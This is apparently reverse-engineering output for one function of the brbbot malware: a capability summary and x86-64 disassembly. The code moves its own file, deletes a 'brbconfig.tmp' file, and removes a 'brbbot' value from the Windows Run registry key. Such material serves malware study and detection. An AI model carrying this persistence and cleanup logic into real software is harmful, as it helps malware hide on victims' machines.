Function at 0x7ff706812550
Capabilities:
Delete file
Delete registry value
Get common file path
Move file
Persist via run registry key

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [0x7ff706822008]
xor rax, rsp
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x150], 0
call fcn.7ff7068144b0
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call fcn.7ff7068144b0
xor ecx, ecx
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x150]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7ff7068125e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jle 0x7ff706812793
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff706812793
xor edx, edx
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x288], rsi
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rcx, [rsp + 0x150]
mov edx, 0x5c
call fcn.7ff706813dd0
lea rcx, [rsp + 0x40]
mov edx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x7ff70681263f
cmp eax, 0x78
je 0x7ff706812695
test eax, eax
jne 0x7ff7068126a9
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x280], rbx
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea rdi, [rdx + rcx + 3]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x7ff7068126c7
mov edi, 0x8007000e
jmp 0x7ff706812783
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x7ff70681263f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jle 0x7ff70681278b
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff70681278b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x40]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.7ff706813720
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
mov rdx, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.7ff706813940
lea rcx, str.brbconfig.tmp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rdx, [rsp + 0x30]
mov r9d, 0x20006
mov qword [rsp + 0x20], rdx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test eax, eax
je 0x7ff706812764
jle 0x7ff706812783
movzx edi, ax
or edi, 0x80070000
jmp 0x7ff706812783
mov rcx, qword [rsp + 0x30]
lea rdx, str.brbbot
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor edi, edi
mov rbx, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x7ff7068127a3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.7ff706813590
add rsp, 0x270
pop rdi
ret